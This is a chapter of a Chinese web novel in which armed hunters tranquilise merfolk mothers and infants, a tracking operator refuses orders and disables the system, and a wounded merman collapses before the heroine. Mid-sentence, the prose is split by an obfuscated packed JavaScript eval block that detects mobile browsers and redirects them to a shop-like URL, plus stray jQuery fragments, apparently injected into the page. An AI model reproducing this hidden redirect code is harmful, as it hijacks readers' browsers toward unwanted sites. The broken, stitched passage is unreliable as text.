14. 防线

作品:《定制男友测试指南

    那一句“恶鬼”,像一把最锋利的刀,狠狠刺穿了他的心脏,将他所有的温柔与期待,碎得片甲不留。


    他尸山血海里爬出来的恶鬼吗?可分明是人将他带到地狱里的。


    画面骤然破碎,再睁眼是另一片宁静的海域。


    翡翠湾群岛,海水碧绿如翡翠,波光粼粼,温暖的海水包裹着整片海域,是人鱼族世代繁衍的圣地。


    每到繁衍季,群居的人鱼便会举族迁徙至此,迎接新生的幼崽。


    初生的小人鱼孱弱不堪,无法承受深海的高压与刺骨寒意,唯有这片温暖浅海,能护着他们慢慢舒展鳞尾,适应水性,习得生存的本领。


    这里是族人的避风港。


    “嘭!”


    这份安宁,终究被一声枪响打破。


    湛蓝的海水瞬间被搅乱,波光里藏着杀机,云层之上,直升机的螺旋桨轰鸣作响,巨大的黑影笼罩着海面,投下令人窒息的阴影。


    银洄听到族人的哀鸣后,赶到翡翠湾时,看到甲板上,全副武装的搜捕队员紧握麻醉枪,红外瞄准镜死死锁定水下逃窜的身影,冰冷的机械声在海面反复回荡。


    “发现目标群,坐标北纬15°,东经162°,大量雌性人鱼及幼崽,立即实施围捕!”


    “重复,目标集中在浅海区域,不要放过任何一个!活体样本价值最高,优先抓捕幼崽!”


    冰冷的指令通过对讲机传递。


    密集的麻醉弹如同暴雨般射入水中,带着破空的锐响,朝着人鱼群狠狠袭来!


    “小心!”


    银洄厉声嘶吼,声音透过海水传递,带着无尽的焦急。


    弹头入水的声响密密麻麻,带着倒钩的麻醉弹拖着长长的黑色绳索,在水中划出狰狞的轨迹。


    一旦被命中,强效麻醉剂会瞬间蔓延全身,再强悍的人鱼也会瞬间失去力气,沦为待宰的羔羊。


    “快!往深海游!往深处潜!”银洄奋力摆动鱼尾,挡在族群前方,声音嘶哑而坚定,“幼崽先走!雌性护住孩子,不要回头!”


    雌性人鱼们紧紧抱着怀中瑟瑟发抖的幼崽,原本柔美的脸庞布满惊恐,疲惫的身躯拼尽全力摆动鱼尾,朝着深海的方向仓皇逃窜。


    “妈妈……我怕……”


    稚嫩的声音在水中响起,刚出生不久的小人鱼蜷缩在母亲怀里,小小的身躯不停颤抖,清澈的眼眸里蓄满泪水,纤细的小手死死抓住母亲的鳞片,生怕一松手,就会被冰冷的海水冲散。


    “别怕,跟着妈妈,我们会安全的……”雌性人鱼低头,用脸颊轻轻蹭着幼崽的额头,声音温柔却带着止不住的颤抖,“抓紧我,千万不要松开。”


    另一条年轻的雌性人鱼,为了护住身后的幼崽,动作稍慢了半拍,一枚麻醉弹瞬间命中了她的鱼尾!


    倒钩狠狠勾进皮肉,鲜血瞬间染红了周遭的海水,强效麻醉剂快速蔓延,她的身躯猛地一僵,摆动的鱼尾渐渐失去力气,身体不受控制地往下沉。


    “妈妈,妈妈……”小人鱼哭着往回游。


    “宝贝……快走!”她发出绝望的哭喊,拼尽最后一丝力气,将怀中的幼崽往前推去,“快走!别管妈妈!”


    幼崽被推开,回头看着缓缓下沉的母亲,放声大哭,却被旁边的族人死死拉住,强行带着往深海逃去。


    慕闻声坐在指挥船的船舱里。


    舷窗外是灰蓝色的海,浪头一个接一个拍打在船身上,发出沉闷的撞击声。他收回视线,低头继续搅动杯中的咖啡。银质的小勺在瓷杯边缘碰出清脆的声响,一圈,两圈,三圈。


    降噪耳机里传来一个温柔的女声:


    “首席,抓上来的那条小的,对我们的研究没什么用处。”


    慕闻声的手顿了一下。他抬起眼,看向对面那排监控屏幕。其中一块屏幕上,一个瘦小的身影正蜷缩在临时水箱的角落里,银色的长发散落在水中,小到让人几乎不忍心看。


    "Athena."他开口,声音很淡,“作为搜捕定位系统的行动组长,不要太过妇人之仁。”


    耳机里沉默了几秒。


    然后那个女声再次响起,比刚才更轻,却更清晰:


    “是条幼崽。刚出生。”


    慕闻声放下银勺,站起身,走到那排监控屏幕前。他背对着镜头,只留给摄像头一个修长笔挺的背影。深灰色西装,白衬衫,金丝框眼镜在屏幕映衬中泛着微光。


    “你未婚夫叫文亦辰,对吧?”


    耳机里没有立刻回应。


    慕闻声抬手,调出另一块屏幕,那是人鱼定位追踪的实时画面。一个个红色的光点在深色的背景上移动,有的快,有的慢,有的已经静止不动。


    “他马上要来美国,”他继续说,“目的是为了和你结婚,并且加入这次联邦扶持的实验组。对吧?”


    这一次,回应来得很快。


    “是。”


    慕闻声转过身,靠在控制台边缘,双手抱胸。那副金丝框眼镜后面的眼睛很深,让人看不清里面藏着什么。


    “好好完成这次任务,”他说,“我可以破格提拔他进入实验项目。”


    耳机里再次陷入沉默。


    这一次的沉默很长。长到慕闻声以为信号断了,长到他准备开口确认。


    “抱歉,首席。”


    那个温柔的女声响起,但这一次,却让人无法忽视的坚定。


    “这次的行动,似乎已经背离了我们实验的初衷。”


    慕闻声的眉头微微动了一下。


    “初衷?”他重复。


    "Protectmarinelife,studydeep-seaecosystems,andpromoteharmoniouscoexistencebetweenhumansandtheocean."


    “保护海洋生物,研究深海生态,促进人类与海洋的和谐共处。”她用中文又重复了一遍,一字一句,清晰得像在读誓词,“这是我来这里的第一天,您亲口告诉我的话。”


    慕闻声没有说话。


    “可现在我们在做什么?”她问,声音里终于有了一丝颤抖,“我们在屠杀。在围捕。在用最先进的技术,去追那些刚刚生产的母亲和她们怀里的孩子。”


    她顿了顿。


    “如果我的前途似锦,是凌驾于对另一种生命的剥削之上!”


    她的声音忽然稳了,稳得像一块礁石。


    “那这前途,不要也罢。”


    船舱里一片死寂。


    慕闻声站在那里,一动不动。那张总是从容的脸上,第一次出现了一丝极细微的裂痕。


    "Calmdown."


    他开口,声音里带着一丝连自己都没察觉的急促。


    "Don''trush,Athena."


    情急之下,他下意识说出英文。可回应他的,是一片沉默。


    下一秒,眼前的屏幕骤


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291435|198305||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    然一黑。


    所有的监控画面和定位追踪,全部消失了。


    只剩下黑漆漆的屏幕,倒映出他自己那张看不清表情的脸。


    几秒后,他抬手,扯下头上的降噪耳机,狠狠砸在桌面上。


    “Shit!”


    耳机在桌面上弹了一下,滚落到地上。里面还传来断断续续的、焦急的声音:


    “慕首席?慕首席!定位系统关闭了,我们现在失去目标了!”


    “喂喂?慕首席能听到吗?”


    “重复,定位系统已关闭,目标信号全部丢失!请指示!请指示!”


    深海里,银洄回头看了一眼那艘越来越远的船。


    他浑身是血,怀里还抱着一个刚刚从网里救出来的幼崽。幼崽在他怀里发抖,小小的手紧紧抓着他的鳞片,不敢松开。


    刺骨的冷,从四肢百骸蔓延开来,仿佛又回到了那个阴冷潮湿的屠场,回到了那个不见天日的铁笼,回到了鲜血飞溅的夜晚。


    绝望、痛苦、孤寂,如同冰冷的潮水,将他彻底淹没。


    他以为,自己就会这样,带着无尽的遗憾与执念,永远沉睡下去。


    可就在这时,一道熟悉的声音,穿透了层层黑暗,清晰地传入他的耳中。


    很轻,很柔,带着焦急,带着担忧,带着一种他渴望了数百年,却早已不敢奢求的温度。


    “喂!你”


    是她的声音。


    心底那层坚不可摧,守护了他几百年的硬壳,在这一声呼唤里,轰然裂开一道缝隙。


    遮蔽窗户的金属叶片一层层收起,隔绝外界的屏障一寸寸消散,温暖的阳光穿透云层,透过窗户,温柔地落在他苍白的脸庞上。


    他闻到了。


    那是属于她的气息,清冽、干净、温暖,驱散了他周身的寒意。


    “怎么流了这么多血?喂!你怎么样!”


    焦急的声音在耳边响起,近在咫尺。


    银洄费力地掀开沉重的眼皮,模糊的视线渐渐聚焦,眼前浮现出一张清秀的脸庞。


    是她。


    那双眼睛里的焦急与关切,跨越了数百年的时光,与记忆里的模样,一模一样。


    杳杳……


    是你吗?


    你终于来了……


    这一次,你可以……原谅我了吗?


    他想开口,想唤她的名字,想触碰她的脸颊,可喉咙干涩得发不出任何声音,浑身的力气都已耗尽。他只能用尽最后一丝余力,微微扯动嘴角,想要对她露出一个笑容。


    染血的手,颤抖着缓缓抬起,朝着她的脸庞伸去。


    指尖,终于轻轻触碰到了她的脸颊。


    温热的,柔软的,真实的。


    不是幻觉,不是梦境,她真的在他身边。


    银洄的眼眸微微弯起,嘴角勾起一抹极温柔的弧度。


    下一秒,那只悬在半空的手,骤然失去了所有力气,重重垂落,砸在血泊之中,溅起一小片暗红的血花。


    他的双眼,缓缓闭上。


    “唉!”许烟瓷浑身发抖,伸出手,想要扶住他落下的手,却只触碰到一片冰冷的湿滑,“你醒醒!别死!你睁开眼睛看看我!”


    她声音颤抖,带着无尽的恐慌与无措,可躺在地上的身影,却再也没有丝毫回应。


    鲜血还在不断蔓延,染红了她的裙摆,冰冷的触感让她浑身僵硬,大脑一片空白,只能怔怔地跪在原地,控制不住地发抖。